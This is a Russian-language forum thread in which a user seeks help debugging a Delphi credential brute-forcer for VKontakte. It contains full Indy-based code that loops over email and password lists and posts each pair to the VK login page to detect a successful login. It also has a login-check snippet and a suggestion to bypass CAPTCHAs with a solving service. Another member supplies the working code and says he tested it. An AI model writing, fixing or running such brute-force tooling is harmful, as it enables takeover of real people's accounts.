Брут для Вконтакте в делфи. Не могу разобратся где ошибка, помогите, очень нужно

Пожалуйста, помогите с кодом, не могу разобратся

 

Они тебе не нужны, поверь мне) Да и раз учишься - то начинать не с авторизаций, т.к. здесь хотя бы нужно
1. Знание HTTP протокола
2. Знание Cookies
3. Уметь работать со строками
4. Уметь работать со снифером

Не надо кляньчить, надо читать и разбираться самому.

 

Автор, а что брут будет делать, когда ВК капчу выдаст? Дальше брутить будет?

 

Капчу нужно бутет ввести, или можно воспользоватся сервисом antigate.
Посмотрите пожалуйста код. Уже почти все сделал но этод кусок кода не работает, чтото с циклом

 

PHP:

 unit Unit1;

interface 

uses 
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, 
  Dialogs, StdCtrls, IdBaseComponent, IdComponent, IdTCPConnection, 
  IdTCPClient, IdHTTP; 

type 
  TForm1 = class(TForm) 
    Button1: TButton; 
    Label1: TLabel; 
    Edit1: TEdit; 
    OpenDialog1: TOpenDialog; 
    OpenDialog2: TOpenDialog; 
    Edit2: TEdit; 
    Label2: TLabel; 
    Button2: TButton; 
    Label3: TLabel; 
    Label4: TLabel; 
    Button3: TButton; 
    Edit3: TEdit; 
    Edit4: TEdit; 
    Label5: TLabel; 
    Label6: TLabel; 
    IdHTTP1: TIdHTTP; 
    procedure Button1Click(Sender: TObject); 
    procedure Button2Click(Sender: TObject); 
    procedure Button3Click(Sender: TObject); 
  private 
    { Private declarations } 
  public 
    { Public declarations } 
  end; 

var 
  emails:TStringList;  // список мыл 
  pass:TStringList;    // список паролей 
  post:TStringList;    // список полей пост запроса 
  i,j:integer;          // счетчики циклов 
  http: TidHTTP ; 
  result:String; 
  Form1: TForm1; 

implementation 

{$R *.dfm} 

procedure TForm1.Button1Click(Sender: TObject); 
begin 
if opendialog1.Execute then 
edit1.Visible:=true; 
Edit1.text:=( opendialog1.FileName); 

Button1.Enabled:=false; 
Button2.Enabled:=true; 
end; 

procedure TForm1.Button2Click(Sender: TObject); 
begin 
if opendialog2.Execute then 
edit2.Visible:=true; 
Edit2.text:=( opendialog2.FileName); 
Button3.Enabled:=true; 
Button2.Enabled:=false; 
end; 

procedure TForm1.Button3Click(Sender: TObject);

begin 
  emails:=TStringList.Create;
  pass:=TStringList.Create;
  emails.Add('логин');
  pass.Add('пароль');
  http:=TidHTTP.Create(nil);
  http.HandleRedirects:=true;
  post:=tstringlist.Create;
  for i:=0 to emails.Count-1 do
   begin
    for j:=0 to pass.Count-1 do
     begin
      post.Clear;
      post.Add('email='+emails[i]);
      post.Add('pass='+pass[j]);
      result:=http.Post('http://vkontakte.ru/login.php',post);
      if pos('logout',result)>0 then
       showmessage ('Пароль подобрали')
      else
       showmessage ('Пароль не подобрали');
    end;
  end; 
  
  // освободим переменные 
  emails.Free; 
  pass.Free; 
  http.Free; 
  post.Free; 
end; 

end.

держи свой код. успехов в программировании.

 

1n0y,всеравно показывает что пароль не правильный

 

Кто нибудь может помочь с кодом. Не могу найти ошибку

 

Можно попробовать быдлокод, если не комплексуешь:

Code:

var
check: string;
check:=idhttp1.Get('http://vkontakte.ru/durov');
if pos('Моя страница',check)>0 then begin
ShowMessage('Все ок!');
end;
If pos('Моя страница',check)=0 then begin
ShowMessage('Неправильно');
end;

Будут, конечно, затраты трафика и времени.

 

dtsey, не могу понять, зачем этот "быдлокод"?

 

Проверка авторизации. Только тебе это врядле поможет.

 

Vasa211, Ты же хотел это исправить.

 

так куда вставить в свой код, твой ?

 

дак вставь правильный пароль
код рабочий, лично проверял.

 

Код смешен)

 

1n0y, почемуто твой код у меня не работает, если не сложно, можешь скинуть исходник своей программы (project, unit, и т.д.)

tght, если для тебя этод код смешон, может ты скинешь мне код который ты напишешь.

 

я его не сохранял, увы. а заново кидать эти все эдиты и лэйблы на форму мне уже влом..

 

Код всё равно не твой, ты со всего форума по кусочкам исходники собираешь. Это не конструктор. Так что че ты агришься на него, мне не понятно.

 

1n0y, а какая у тебя версия Indy, может в ней дело?